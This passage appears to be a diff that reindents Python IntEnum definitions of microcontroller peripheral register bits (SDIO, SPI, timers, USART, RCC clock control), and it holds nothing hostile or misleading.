TXFIFOE = 1 << 18
|
||||
RXFIFOE = 1 << 19
|
||||
TXDAVL = 1 << 20
|
||||
RXDAVL = 1 << 21
|
||||
SDIOIT = 1 << 22
|
||||
CEATAEND = 1 << 23
|
||||
|
||||
class SDIO_ICR(IntEnum):
|
||||
CCRCFAILC = 1 << 0
|
||||
DCRCFAILC = 1 << 1
|
||||
CTIMEOUTC = 1 << 2
|
||||
DTIMEOUTC = 1 << 3
|
||||
TXUNDERRC = 1 << 4
|
||||
RXOVERRC = 1 << 5
|
||||
CMDRENDC = 1 << 6
|
||||
CMDSENTC = 1 << 7
|
||||
DATAENDC = 1 << 8
|
||||
STBITERRC = 1 << 9
|
||||
DBCKENDC = 1 << 10
|
||||
SDIOITC = 1 << 22
|
||||
CEATAENDC = 1 << 23
|
||||
CCRCFAILC = 1 << 0
|
||||
DCRCFAILC = 1 << 1
|
||||
CTIMEOUTC = 1 << 2
|
||||
DTIMEOUTC = 1 << 3
|
||||
TXUNDERRC = 1 << 4
|
||||
RXOVERRC = 1 << 5
|
||||
CMDRENDC = 1 << 6
|
||||
CMDSENTC = 1 << 7
|
||||
DATAENDC = 1 << 8
|
||||
STBITERRC = 1 << 9
|
||||
DBCKENDC = 1 << 10
|
||||
SDIOITC = 1 << 22
|
||||
CEATAENDC = 1 << 23
|
||||
|
||||
class SDIO_MASK(IntEnum):
|
||||
CCRCFAILIE = 1 << 0
|
||||
DCRCFAILIE = 1 << 1
|
||||
CTIMEOUTIE = 1 << 2
|
||||
DTIMEOUTIE = 1 << 3
|
||||
TXUNDERRIE = 1 << 4
|
||||
RXOVERRIE = 1 << 5
|
||||
CMDRENDIE = 1 << 6
|
||||
CMDSENTIE = 1 << 7
|
||||
DATAENDIE = 1 << 8
|
||||
STBITERRIE = 1 << 9
|
||||
DBCKENDIE = 1 << 10
|
||||
CMDACTIE = 1 << 11
|
||||
TXACTIE = 1 << 12
|
||||
RXACTIE = 1 << 13
|
||||
TXFIFOHEIE = 1 << 14
|
||||
RXFIFOHFIE = 1 << 15
|
||||
TXFIFOFIE = 1 << 16
|
||||
RXFIFOFIE = 1 << 17
|
||||
TXFIFOEIE = 1 << 18
|
||||
RXFIFOEIE = 1 << 19
|
||||
TXDAVLIE = 1 << 20
|
||||
RXDAVLIE = 1 << 21
|
||||
SDIOITIE = 1 << 22
|
||||
CEATAENDIE = 1 << 23
|
||||
CCRCFAILIE = 1 << 0
|
||||
DCRCFAILIE = 1 << 1
|
||||
CTIMEOUTIE = 1 << 2
|
||||
DTIMEOUTIE = 1 << 3
|
||||
TXUNDERRIE = 1 << 4
|
||||
RXOVERRIE = 1 << 5
|
||||
CMDRENDIE = 1 << 6
|
||||
CMDSENTIE = 1 << 7
|
||||
DATAENDIE = 1 << 8
|
||||
STBITERRIE = 1 << 9
|
||||
DBCKENDIE = 1 << 10
|
||||
CMDACTIE = 1 << 11
|
||||
TXACTIE = 1 << 12
|
||||
RXACTIE = 1 << 13
|
||||
TXFIFOHEIE = 1 << 14
|
||||
RXFIFOHFIE = 1 << 15
|
||||
TXFIFOFIE = 1 << 16
|
||||
RXFIFOFIE = 1 << 17
|
||||
TXFIFOEIE = 1 << 18
|
||||
RXFIFOEIE = 1 << 19
|
||||
TXDAVLIE = 1 << 20
|
||||
RXDAVLIE = 1 << 21
|
||||
SDIOITIE = 1 << 22
|
||||
CEATAENDIE = 1 << 23
|
||||
|
||||
@@ -7,63 +7,63 @@ from enum import IntEnum
|
||||
|
||||
|
||||
class SPI_CR1(IntEnum):
|
||||
CPHA = 1 << 0
|
||||
CPOL = 1 << 1
|
||||
MSTR = 1 << 2
|
||||
BR = 0x7 << 3
|
||||
SPE = 1 << 6
|
||||
LSBFIRST = 1 << 7
|
||||
SSI = 1 << 8
|
||||
SSM = 1 << 9
|
||||
RXONLY = 1 << 10
|
||||
DFF = 1 << 11
|
||||
CRCNEXT = 1 << 12
|
||||
CRCEN = 1 << 13
|
||||
BIDIOE = 1 << 14
|
||||
BIDIMODE = 1 << 15
|
||||
CPHA = 1 << 0
|
||||
CPOL = 1 << 1
|
||||
MSTR = 1 << 2
|
||||
BR = 0x7 << 3
|
||||
SPE = 1 << 6
|
||||
LSBFIRST = 1 << 7
|
||||
SSI = 1 << 8
|
||||
SSM = 1 << 9
|
||||
RXONLY = 1 << 10
|
||||
DFF = 1 << 11
|
||||
CRCNEXT = 1 << 12
|
||||
CRCEN = 1 << 13
|
||||
BIDIOE = 1 << 14
|
||||
BIDIMODE = 1 << 15
|
||||
|
||||
RW_MASK = 0xffff
|
||||
RW_MASK = 0xffff
|
||||
|
||||
class SPI_CR2(IntEnum):
|
||||
RXDMAEN = 1 << 0
|
||||
TXDMAEN = 1 << 1
|
||||
SSOE = 1 << 2
|
||||
FRF = 1 << 4
|
||||
ERRIE = 1 << 5
|
||||
RXNEIE = 1 << 6
|
||||
TXEIE = 1 << 7
|
||||
RXDMAEN = 1 << 0
|
||||
TXDMAEN = 1 << 1
|
||||
SSOE = 1 << 2
|
||||
FRF = 1 << 4
|
||||
ERRIE = 1 << 5
|
||||
RXNEIE = 1 << 6
|
||||
TXEIE = 1 << 7
|
||||
|
||||
RW_MASK = RXDMAEN|TXDMAEN|SSOE|FRF|ERRIE|RXNEIE|TXEIE
|
||||
RW_MASK = RXDMAEN|TXDMAEN|SSOE|FRF|ERRIE|RXNEIE|TXEIE
|
||||
|
||||
class SPI_SR(IntEnum):
|
||||
RXNE = 1 << 0
|
||||
TXE = 1 << 1
|
||||
CHSIDE = 1 << 2
|
||||
UDR = 1 << 3
|
||||
CRCERR = 1 << 4
|
||||
MODF = 1 << 5
|
||||
OVR = 1 << 6
|
||||
BSY = 1 << 7
|
||||
FRE = 1 << 8
|
||||
RXNE = 1 << 0
|
||||
TXE = 1 << 1
|
||||
CHSIDE = 1 << 2
|
||||
UDR = 1 << 3
|
||||
CRCERR = 1 << 4
|
||||
MODF = 1 << 5
|
||||
OVR = 1 << 6
|
||||
BSY = 1 << 7
|
||||
FRE = 1 << 8
|
||||
|
||||
class SPI_CRCPR(IntEnum):
|
||||
CRCPOLY = 0xffff
|
||||
CRCPOLY = 0xffff
|
||||
|
||||
class SPI_I2SCFGR(IntEnum):
|
||||
CHLEN = 1 << 0
|
||||
DATLEN = 0x3 << 1
|
||||
CKPOL = 1 << 3
|
||||
I2SSTD = 0x3 << 4
|
||||
PCMSYNC = 1 << 7
|
||||
I2SCFG = 0x3 << 8
|
||||
I2SE = 1 << 10
|
||||
I2SMOD = 1 << 11
|
||||
CHLEN = 1 << 0
|
||||
DATLEN = 0x3 << 1
|
||||
CKPOL = 1 << 3
|
||||
I2SSTD = 0x3 << 4
|
||||
PCMSYNC = 1 << 7
|
||||
I2SCFG = 0x3 << 8
|
||||
I2SE = 1 << 10
|
||||
I2SMOD = 1 << 11
|
||||
|
||||
RW_MASK = CHLEN|DATLEN|CKPOL|I2SSTD|PCMSYNC|I2SCFG|I2SE|I2SMOD
|
||||
RW_MASK = CHLEN|DATLEN|CKPOL|I2SSTD|PCMSYNC|I2SCFG|I2SE|I2SMOD
|
||||
|
||||
class SPI_I2SPR(IntEnum):
|
||||
I2SDIV = 0xff << 0
|
||||
ODD = 1 << 8
|
||||
MCKOE = 1 << 9
|
||||
I2SDIV = 0xff << 0
|
||||
ODD = 1 << 8
|
||||
MCKOE = 1 << 9
|
||||
|
||||
RW_MASK = I2SDIV|ODD|MCKOE
|
||||
RW_MASK = I2SDIV|ODD|MCKOE
|
||||
|
||||
+127
-127
@@ -7,170 +7,170 @@ from enum import IntEnum
|
||||
|
||||
|
||||
class TIM_CR1(IntEnum):
|
||||
CEN = 1 << 0
|
||||
UDIS = 1 << 1
|
||||
URS = 1 << 2
|
||||
OPM = 1 << 3
|
||||
DIR = 1 << 4
|
||||
CMS = 0x3 << 5
|
||||
ARPE = 1 << 7
|
||||
CKD = 0x3 << 8
|
||||
CEN = 1 << 0
|
||||
UDIS = 1 << 1
|
||||
URS = 1 << 2
|
||||
OPM = 1 << 3
|
||||
DIR = 1 << 4
|
||||
CMS = 0x3 << 5
|
||||
ARPE = 1 << 7
|
||||
CKD = 0x3 << 8
|
||||
|
||||
class TIM_CR2(IntEnum):
|
||||
CCPC = 1 << 0
|
||||
CCS = 1 << 2
|
||||
CCDS = 1 << 3
|
||||
MMS = 0x7 << 4
|
||||
TI1S = 1 << 7
|
||||
OIS1 = 1 << 8
|
||||
OIS1N = 1 << 9
|
||||
OIS2 = 1 << 10
|
||||
OIS2N = 1 << 11
|
||||
OIS3 = 1 << 12
|
||||
OIS3N = 1 << 13
|
||||
OIS4 = 1 << 14
|
||||
CCPC = 1 << 0
|
||||
CCS = 1 << 2
|
||||
CCDS = 1 << 3
|
||||
MMS = 0x7 << 4
|
||||
TI1S = 1 << 7
|
||||
OIS1 = 1 << 8
|
||||
OIS1N = 1 << 9
|
||||
OIS2 = 1 << 10
|
||||
OIS2N = 1 << 11
|
||||
OIS3 = 1 << 12
|
||||
OIS3N = 1 << 13
|
||||
OIS4 = 1 << 14
|
||||
|
||||
class TIM_SMCR(IntEnum):
|
||||
SMS = 0x7 << 0
|
||||
TS = 0x7 << 4
|
||||
MSM = 1 << 7
|
||||
ETF = 0xf << 8
|
||||
ETPS = 0x3 << 12
|
||||
ECE = 1 << 14
|
||||
ETP = 1 << 15
|
||||
SMS = 0x7 << 0
|
||||
TS = 0x7 << 4
|
||||
MSM = 1 << 7
|
||||
ETF = 0xf << 8
|
||||
ETPS = 0x3 << 12
|
||||
ECE = 1 << 14
|
||||
ETP = 1 << 15
|
||||
|
||||
class TIM_DIER(IntEnum):
|
||||
UIE = 1 << 0
|
||||
CC1IE = 1 << 1
|
||||
CC2IE = 1 << 2
|
||||
CC3IE = 1 << 3
|
||||
CC4IE = 1 << 4
|
||||
COMIE = 1 << 5
|
||||
TIE = 1 << 6
|
||||
BIE = 1 << 7
|
||||
UDE = 1 << 8
|
||||
CC1DE = 1 << 9
|
||||
CC2DE = 1 << 10
|
||||
CC3DE = 1 << 11
|
||||
CC4DE = 1 << 12
|
||||
COMDE = 1 << 13
|
||||
TDE = 1 << 14
|
||||
UIE = 1 << 0
|
||||
CC1IE = 1 << 1
|
||||
CC2IE = 1 << 2
|
||||
CC3IE = 1 << 3
|
||||
CC4IE = 1 << 4
|
||||
COMIE = 1 << 5
|
||||
TIE = 1 << 6
|
||||
BIE = 1 << 7
|
||||
UDE = 1 << 8
|
||||
CC1DE = 1 << 9
|
||||
CC2DE = 1 << 10
|
||||
CC3DE = 1 << 11
|
||||
CC4DE = 1 << 12
|
||||
COMDE = 1 << 13
|
||||
TDE = 1 << 14
|
||||
|
||||
class TIM_SR(IntEnum):
|
||||
UIF = 1 << 0
|
||||
CC1IF = 1 << 1
|
||||
CC2IF = 1 << 2
|
||||
CC3IF = 1 << 3
|
||||
CC4IF = 1 << 4
|
||||
COMIF = 1 << 5
|
||||
TIF = 1 << 6
|
||||
BIF = 1 << 7
|
||||
CC1OF = 1 << 9
|
||||
CC2OF = 1 << 10
|
||||
CC3OF = 1 << 11
|
||||
CC4OF = 1 << 12
|
||||
UIF = 1 << 0
|
||||
CC1IF = 1 << 1
|
||||
CC2IF = 1 << 2
|
||||
CC3IF = 1 << 3
|
||||
CC4IF = 1 << 4
|
||||
COMIF = 1 << 5
|
||||
TIF = 1 << 6
|
||||
BIF = 1 << 7
|
||||
CC1OF = 1 << 9
|
||||
CC2OF = 1 << 10
|
||||
CC3OF = 1 << 11
|
||||
CC4OF = 1 << 12
|
||||
|
||||
class TIM_EGR(IntEnum):
|
||||
UG = 1 << 0
|
||||
CC1G = 1 << 1
|
||||
CC2G = 1 << 2
|
||||
CC3G = 1 << 3
|
||||
CC4G = 1 << 4
|
||||
COMG = 1 << 5
|
||||
TG = 1 << 6
|
||||
BG = 1 << 7
|
||||
UG = 1 << 0
|
||||
CC1G = 1 << 1
|
||||
CC2G = 1 << 2
|
||||
CC3G = 1 << 3
|
||||
CC4G = 1 << 4
|
||||
COMG = 1 << 5
|
||||
TG = 1 << 6
|
||||
BG = 1 << 7
|
||||
|
||||
class TIM_CCMR1(IntEnum):
|
||||
CC1S = 0x3 << 0
|
||||
OC1FE = 1 << 2
|
||||
OC1PE = 1 << 3
|
||||
OC1M = 0x7 << 4
|
||||
OC1CE = 1 << 7
|
||||
CC2S = 0x3 << 8
|
||||
OC2FE = 1 << 10
|
||||
OC2PE = 1 << 11
|
||||
OC2M = 0x7 << 12
|
||||
OC2CE = 1 << 15
|
||||
IC1PSC = 0x3 << 2
|
||||
IC1F = 0xf << 4
|
||||
IC2PSC = 0x3 << 10
|
||||
IC2F = 0xf << 12
|
||||
CC1S = 0x3 << 0
|
||||
OC1FE = 1 << 2
|
||||
OC1PE = 1 << 3
|
||||
OC1M = 0x7 << 4
|
||||
OC1CE = 1 << 7
|
||||
CC2S = 0x3 << 8
|
||||
OC2FE = 1 << 10
|
||||
OC2PE = 1 << 11
|
||||
OC2M = 0x7 << 12
|
||||
OC2CE = 1 << 15
|
||||
IC1PSC = 0x3 << 2
|
||||
IC1F = 0xf << 4
|
||||
IC2PSC = 0x3 << 10
|
||||
IC2F = 0xf << 12
|
||||
|
||||
class TIM_CCMR2(IntEnum):
|
||||
CC3S = 0x3 << 0
|
||||
OC3FE = 1 << 2
|
||||
OC3PE = 1 << 3
|
||||
OC3M = 0x7 << 4
|
||||
OC3CE = 1 << 7
|
||||
CC4S = 0x3 << 8
|
||||
OC4FE = 1 << 10
|
||||
OC4PE = 1 << 11
|
||||
OC4M = 0x7 << 12
|
||||
OC4CE = 1 << 15
|
||||
IC3PSC = 0x3 << 2
|
||||
IC3F = 0xf << 4
|
||||
IC4PSC = 0x3 << 10
|
||||
IC4F = 0xf << 12
|
||||
CC3S = 0x3 << 0
|
||||
OC3FE = 1 << 2
|
||||
OC3PE = 1 << 3
|
||||
OC3M = 0x7 << 4
|
||||
OC3CE = 1 << 7
|
||||
CC4S = 0x3 << 8
|
||||
OC4FE = 1 << 10
|
||||
OC4PE = 1 << 11
|
||||
OC4M = 0x7 << 12
|
||||
OC4CE = 1 << 15
|
||||
IC3PSC = 0x3 << 2
|
||||
IC3F = 0xf << 4
|
||||
IC4PSC = 0x3 << 10
|
||||
IC4F = 0xf << 12
|
||||
|
||||
class TIM_CCER(IntEnum):
|
||||
CC1E = 1 << 0
|
||||
CC1P = 1 << 1
|
||||
CC1NE = 1 << 2
|
||||
CC1NP = 1 << 3
|
||||
CC2E = 1 << 4
|
||||
CC2P = 1 << 5
|
||||
CC2NE = 1 << 6
|
||||
CC2NP = 1 << 7
|
||||
CC3E = 1 << 8
|
||||
CC3P = 1 << 9
|
||||
CC3NE = 1 << 10
|
||||
CC3NP = 1 << 11
|
||||
CC4E = 1 << 12
|
||||
CC4P = 1 << 13
|
||||
CC4NP = 1 << 15
|
||||
CC1E = 1 << 0
|
||||
CC1P = 1 << 1
|
||||
CC1NE = 1 << 2
|
||||
CC1NP = 1 << 3
|
||||
CC2E = 1 << 4
|
||||
CC2P = 1 << 5
|
||||
CC2NE = 1 << 6
|
||||
CC2NP = 1 << 7
|
||||
CC3E = 1 << 8
|
||||
CC3P = 1 << 9
|
||||
CC3NE = 1 << 10
|
||||
CC3NP = 1 << 11
|
||||
CC4E = 1 << 12
|
||||
CC4P = 1 << 13
|
||||
CC4NP = 1 << 15
|
||||
|
||||
class TIM_CNT(IntEnum):
|
||||
CNT = 0xffffffff << 0
|
||||
CNT = 0xffffffff << 0
|
||||
|
||||
class TIM_PSC(IntEnum):
|
||||
PSC = 0xffff << 0
|
||||
PSC = 0xffff << 0
|
||||
|
||||
class TIM_ARR(IntEnum):
|
||||
ARR = 0xffffffff << 0
|
||||
ARR = 0xffffffff << 0
|
||||
|
||||
class TIM_RCR(IntEnum):
|
||||
REP = 0xff << 0
|
||||
REP = 0xff << 0
|
||||
|
||||
class TIM_CCR1(IntEnum):
|
||||
CCR1 = 0xffff << 0
|
||||
CCR1 = 0xffff << 0
|
||||
|
||||
class TIM_CCR2(IntEnum):
|
||||
CCR2 = 0xffff << 0
|
||||
CCR2 = 0xffff << 0
|
||||
|
||||
class TIM_CCR3(IntEnum):
|
||||
CCR3 = 0xffff << 0
|
||||
CCR3 = 0xffff << 0
|
||||
|
||||
class TIM_CCR4(IntEnum):
|
||||
CCR4 = 0xffff << 0
|
||||
CCR4 = 0xffff << 0
|
||||
|
||||
class TIM_BDTR(IntEnum):
|
||||
DTG = 0xff << 0
|
||||
LOCK = 0x3 << 8
|
||||
OSSI = 1 << 10
|
||||
OSSR = 1 << 11
|
||||
BKE = 1 << 12
|
||||
BKP = 1 << 13
|
||||
AOE = 1 << 14
|
||||
MOE = 1 << 15
|
||||
DTG = 0xff << 0
|
||||
LOCK = 0x3 << 8
|
||||
OSSI = 1 << 10
|
||||
OSSR = 1 << 11
|
||||
BKE = 1 << 12
|
||||
BKP = 1 << 13
|
||||
AOE = 1 << 14
|
||||
MOE = 1 << 15
|
||||
|
||||
class TIM_DCR(IntEnum):
|
||||
DBA = 0x1f << 0
|
||||
DBL = 0x1f << 8
|
||||
DBA = 0x1f << 0
|
||||
DBL = 0x1f << 8
|
||||
|
||||
class TIM_DMAR(IntEnum):
|
||||
DMAB = 0xffff << 0
|
||||
DMAB = 0xffff << 0
|
||||
|
||||
class TIM_OR(IntEnum):
|
||||
TI1_RMP = 0x3 << 0
|
||||
TI4_RMP = 0x3 << 6
|
||||
ITR1_RMP = 0x3 << 10
|
||||
TI1_RMP = 0x3 << 0
|
||||
TI4_RMP = 0x3 << 6
|
||||
ITR1_RMP = 0x3 << 10
|
||||
|
||||
@@ -20,11 +20,11 @@ class USART_SR(IntEnum):
|
||||
RESET = TXE | TC
|
||||
|
||||
class USART_DR(IntEnum):
|
||||
DR = 0x1ff << 0
|
||||
DR = 0x1ff << 0
|
||||
|
||||
class USART_BRR(IntEnum):
|
||||
DIV_Fraction = 0xf << 0
|
||||
DIV_Mantissa = 0xfff << 4
|
||||
DIV_Fraction = 0xf << 0
|
||||
DIV_Mantissa = 0xfff << 4
|
||||
|
||||
class USART_CR1(IntEnum):
|
||||
OVER8 = 1 << 15
|
||||
@@ -44,30 +44,30 @@ class USART_CR1(IntEnum):
|
||||
SBK = 1 << 0
|
||||
|
||||
class USART_CR2(IntEnum):
|
||||
ADD = 0xf << 0
|
||||
LBDL = 1 << 5
|
||||
LBDIE = 1 << 6
|
||||
LBCL = 1 << 8
|
||||
CPHA = 1 << 9
|
||||
CPOL = 1 << 10
|
||||
CLKEN = 1 << 11
|
||||
STOP = 0x3 << 12
|
||||
LINEN = 1 << 14
|
||||
ADD = 0xf << 0
|
||||
LBDL = 1 << 5
|
||||
LBDIE = 1 << 6
|
||||
LBCL = 1 << 8
|
||||
CPHA = 1 << 9
|
||||
CPOL = 1 << 10
|
||||
CLKEN = 1 << 11
|
||||
STOP = 0x3 << 12
|
||||
LINEN = 1 << 14
|
||||
|
||||
class USART_CR3(IntEnum):
|
||||
EIE = 1 << 0
|
||||
IREN = 1 << 1
|
||||
IRLP = 1 << 2
|
||||
HDSEL = 1 << 3
|
||||
NACK = 1 << 4
|
||||
SCEN = 1 << 5
|
||||
DMAR = 1 << 6
|
||||
DMAT = 1 << 7
|
||||
RTSE = 1 << 8
|
||||
CTSE = 1 << 9
|
||||
CTSIE = 1 << 10
|
||||
ONEBIT = 1 << 11
|
||||
EIE = 1 << 0
|
||||
IREN = 1 << 1
|
||||
IRLP = 1 << 2
|
||||
HDSEL = 1 << 3
|
||||
NACK = 1 << 4
|
||||
SCEN = 1 << 5
|
||||
DMAR = 1 << 6
|
||||
DMAT = 1 << 7
|
||||
RTSE = 1 << 8
|
||||
CTSE = 1 << 9
|
||||
CTSIE = 1 << 10
|
||||
ONEBIT = 1 << 11
|
||||
|
||||
class USART_GTPR(IntEnum):
|
||||
PSC = 0xff << 0
|
||||
GT = 0xff << 8
|
||||
PSC = 0xff << 0
|
||||
GT = 0xff << 8
|
||||
|
||||
+155
-155
@@ -27,12 +27,12 @@ class RCC_CR(IntEnum):
|
||||
|
||||
|
||||
class RCC_PLLCFGR(IntEnum):
|
||||
PLLM = 0x3f << 0
|
||||
PLLN = 0x1ff << 6
|
||||
PLLP = 0x3 << 16
|
||||
PLLSRC = 1 << 22
|
||||
PLLSRC_HSE = 1 << 22
|
||||
PLLQ = 0xf << 24
|
||||
PLLM = 0x3f << 0
|
||||
PLLN = 0x1ff << 6
|
||||
PLLP = 0x3 << 16
|
||||
PLLSRC = 1 << 22
|
||||
PLLSRC_HSE = 1 << 22
|
||||
PLLQ = 0xf << 24
|
||||
|
||||
|
||||
class RCC_CFGR(IntEnum):
|
||||
@@ -56,186 +56,186 @@ class RCC_CFGR(IntEnum):
|
||||
RW_MASK = SW | HPRE | PPRE1 | PPRE2 | MCO1 | I2SSCR | MCO1PRE | MCO2PRE | MCO2
|
||||
|
||||
class RCC_CIR(IntEnum):
|
||||
LSIRDYF = 1 << 0
|
||||
LSERDYF = 1 << 1
|
||||
HSIRDYF = 1 << 2
|
||||
HSERDYF = 1 << 3
|
||||
PLLRDYF = 1 << 4
|
||||
PLLI2SRDYF = 1 << 5
|
||||
CSSF = 1 << 7
|
||||
LSIRDYIE = 1 << 8
|
||||
LSERDYIE = 1 << 9
|
||||
HSIRDYIE = 1 << 10
|
||||
HSERDYIE = 1 << 11
|
||||
PLLRDYIE = 1 << 12
|
||||
PLLI2SRDYIE = 1 << 13
|
||||
LSIRDYC = 1 << 16
|
||||
LSERDYC = 1 << 17
|
||||
HSIRDYC = 1 << 18
|
||||
HSERDYC = 1 << 19
|
||||
PLLRDYC = 1 << 20
|
||||
PLLI2SRDYC = 1 << 21
|
||||
CSSC = 1 << 23
|
||||
LSIRDYF = 1 << 0
|
||||
LSERDYF = 1 << 1
|
||||
HSIRDYF = 1 << 2
|
||||
HSERDYF = 1 << 3
|
||||
PLLRDYF = 1 << 4
|
||||
PLLI2SRDYF = 1 << 5
|
||||
CSSF = 1 << 7
|
||||
LSIRDYIE = 1 << 8
|
||||
LSERDYIE = 1 << 9
|
||||
HSIRDYIE = 1 << 10
|
||||
HSERDYIE = 1 << 11
|
||||
PLLRDYIE = 1 << 12
|
||||
PLLI2SRDYIE = 1 << 13
|
||||
LSIRDYC = 1 << 16
|
||||
LSERDYC = 1 << 17
|
||||
HSIRDYC = 1 << 18
|
||||
HSERDYC = 1 << 19
|
||||
PLLRDYC = 1 << 20
|
||||
PLLI2SRDYC = 1 << 21
|
||||
CSSC = 1 << 23
|
||||
|
||||
class RCC_AHB1RSTR(IntEnum):
|
||||
GPIOARST = 1 << 0
|
||||
GPIOBRST = 1 << 1
|
||||
GPIOCRST = 1 << 2
|
||||
GPIODRST = 1 << 3
|
||||
GPIOERST = 1 << 4
|
||||
GPIOHRST = 1 << 7
|
||||
CRCRST = 1 << 12
|
||||
DMA1RST = 1 << 21
|
||||
DMA2RST = 1 << 22
|
||||
GPIOARST = 1 << 0
|
||||
GPIOBRST = 1 << 1
|
||||
GPIOCRST = 1 << 2
|
||||
GPIODRST = 1 << 3
|
||||
GPIOERST = 1 << 4
|
||||
GPIOHRST = 1 << 7
|
||||
CRCRST = 1 << 12
|
||||
DMA1RST = 1 << 21
|
||||
DMA2RST = 1 << 22
|
||||
|
||||
class RCC_AHB2RSTR(IntEnum):
|
||||
OTGFSRST = 1 << 7
|
||||
OTGFSRST = 1 << 7
|
||||
|
||||
class RCC_APB1RSTR(IntEnum):
|
||||
TIM2RST = 1 << 0
|
||||
TIM3RST = 1 << 1
|
||||
TIM4RST = 1 << 2
|
||||
TIM5RST = 1 << 3
|
||||
WWDGRST = 1 << 11
|
||||
SPI2RST = 1 << 14
|
||||
SPI3RST = 1 << 15
|
||||
USART2RST = 1 << 17
|
||||
I2C1RST = 1 << 21
|
||||
I2C2RST = 1 << 22
|
||||
I2C3RST = 1 << 23
|
||||
PWRRST = 1 << 28
|
||||
TIM2RST = 1 << 0
|
||||
TIM3RST = 1 << 1
|
||||
TIM4RST = 1 << 2
|
||||
TIM5RST = 1 << 3
|
||||
WWDGRST = 1 << 11
|
||||
SPI2RST = 1 << 14
|
||||
SPI3RST = 1 << 15
|
||||
USART2RST = 1 << 17
|
||||
I2C1RST = 1 << 21
|
||||
I2C2RST = 1 << 22
|
||||
I2C3RST = 1 << 23
|
||||
PWRRST = 1 << 28
|
||||
|
||||
class RCC_APB2RSTR(IntEnum):
|
||||
TIM1RST = 1 << 0
|
||||
USART1RST = 1 << 4
|
||||
USART6RST = 1 << 5
|
||||
ADCRST = 1 << 8
|
||||
SDIORST = 1 << 11
|
||||
SPI1RST = 1 << 12
|
||||
SPI4RST = 1 << 13
|
||||
SYSCFGRST = 1 << 14
|
||||
TIM9RST = 1 << 16
|
||||
TIM10RST = 1 << 17
|
||||
TIM11RST = 1 << 18
|
||||
SPI5RST = 1 << 20
|
||||
TIM1RST = 1 << 0
|
||||
USART1RST = 1 << 4
|
||||
USART6RST = 1 << 5
|
||||
ADCRST = 1 << 8
|
||||
SDIORST = 1 << 11
|
||||
SPI1RST = 1 << 12
|
||||
SPI4RST = 1 << 13
|
||||
SYSCFGRST = 1 << 14
|
||||
TIM9RST = 1 << 16
|
||||
TIM10RST = 1 << 17
|
||||
TIM11RST = 1 << 18
|
||||
SPI5RST = 1 << 20
|
||||
|
||||
class RCC_AHB1ENR(IntEnum):
|
||||
GPIOAEN = 1 << 0
|
||||
GPIOBEN = 1 << 1
|
||||
GPIOCEN = 1 << 2
|
||||
GPIODEN = 1 << 3
|
||||
GPIOEEN = 1 << 4
|
||||
GPIOHEN = 1 << 7
|
||||
CRCEN = 1 << 12
|
||||
DMA1EN = 1 << 21
|
||||
DMA2EN = 1 << 22
|
||||
GPIOAEN = 1 << 0
|
||||
GPIOBEN = 1 << 1
|
||||
GPIOCEN = 1 << 2
|
||||
GPIODEN = 1 << 3
|
||||
GPIOEEN = 1 << 4
|
||||
GPIOHEN = 1 << 7
|
||||
CRCEN = 1 << 12
|
||||
DMA1EN = 1 << 21
|
||||
DMA2EN = 1 << 22
|
||||
|
||||
class RCC_AHB2ENR(IntEnum):
|
||||
OTGFSEN = 1 << 7
|
||||
OTGFSEN = 1 << 7
|
||||
|
||||
class RCC_APB1ENR(IntEnum):
|
||||
TIM2EN = 1 << 0
|
||||
TIM3EN = 1 << 1
|
||||
TIM4EN = 1 << 2
|
||||
TIM5EN = 1 << 3
|
||||
WWDGEN = 1 << 11
|
||||
SPI2EN = 1 << 14
|
||||
SPI3EN = 1 << 15
|
||||
USART2EN = 1 << 17
|
||||
I2C1EN = 1 << 21
|
||||
I2C2EN = 1 << 22
|
||||
I2C3EN = 1 << 23
|
||||
PWREN = 1 << 28
|
||||
TIM2EN = 1 << 0
|
||||
TIM3EN = 1 << 1
|
||||
TIM4EN = 1 << 2
|
||||
TIM5EN = 1 << 3
|
||||
WWDGEN = 1 << 11
|
||||
SPI2EN = 1 << 14
|
||||
SPI3EN = 1 << 15
|
||||
USART2EN = 1 << 17
|
||||
I2C1EN = 1 << 21
|
||||
I2C2EN = 1 << 22
|
||||
I2C3EN = 1 << 23
|
||||
PWREN = 1 << 28
|
||||
|
||||
class RCC_APB2ENR(IntEnum):
|
||||
TIM1EN = 1 << 0
|
||||
USART1EN = 1 << 4
|
||||
USART6EN = 1 << 5
|
||||
ADC1EN = 1 << 8
|
||||
SDIOEN = 1 << 11
|
||||
SPI1EN = 1 << 12
|
||||
SPI4EN = 1 << 13
|
||||
SYSCFGEN = 1 << 14
|
||||
TIM9EN = 1 << 16
|
||||
TIM10EN = 1 << 17
|
||||
TIM11EN = 1 << 18
|
||||
SPI5EN = 1 << 20
|
||||
TIM1EN = 1 << 0
|
||||
USART1EN = 1 << 4
|
||||
USART6EN = 1 << 5
|
||||
ADC1EN = 1 << 8
|
||||
SDIOEN = 1 << 11
|
||||
SPI1EN = 1 << 12
|
||||
SPI4EN = 1 << 13
|
||||
SYSCFGEN = 1 << 14
|
||||
TIM9EN = 1 << 16
|
||||
TIM10EN = 1 << 17
|
||||
TIM11EN = 1 << 18
|
||||
SPI5EN = 1 << 20
|
||||
|
||||
class RCC_AHB1LPENR(IntEnum):
|
||||
GPIOALPEN = 1 << 0
|
||||
GPIOBLPEN = 1 << 1
|
||||
GPIOCLPEN = 1 << 2
|
||||
GPIODLPEN = 1 << 3
|
||||
GPIOELPEN = 1 << 4
|
||||
GPIOHLPEN = 1 << 7
|
||||
CRCLPEN = 1 << 12
|
||||
FLITFLPEN = 1 << 15
|
||||
SRAM1LPEN = 1 << 16
|
||||
DMA1LPEN = 1 << 21
|
||||
DMA2LPEN = 1 << 22
|
||||
GPIOALPEN = 1 << 0
|
||||
GPIOBLPEN = 1 << 1
|
||||
GPIOCLPEN = 1 << 2
|
||||
GPIODLPEN = 1 << 3
|
||||
GPIOELPEN = 1 << 4
|
||||
GPIOHLPEN = 1 << 7
|
||||
CRCLPEN = 1 << 12
|
||||
FLITFLPEN = 1 << 15
|
||||
SRAM1LPEN = 1 << 16
|
||||
DMA1LPEN = 1 << 21
|
||||
DMA2LPEN = 1 << 22
|
||||
|
||||
class RCC_AHB2LPENR(IntEnum):
|
||||
OTGFSLPEN = 1 << 7
|
||||
OTGFSLPEN = 1 << 7
|
||||
|
||||
class RCC_APB1LPENR(IntEnum):
|
||||
TIM2LPEN = 1 << 0
|
||||
TIM3LPEN = 1 << 1
|
||||
TIM4LPEN = 1 << 2
|
||||
TIM5LPEN = 1 << 3
|
||||
WWDGLPEN = 1 << 11
|
||||
SPI2LPEN = 1 << 14
|
||||
SPI3LPEN = 1 << 15
|
||||
USART2LPEN = 1 << 17
|
||||
I2C1LPEN = 1 << 21
|
||||
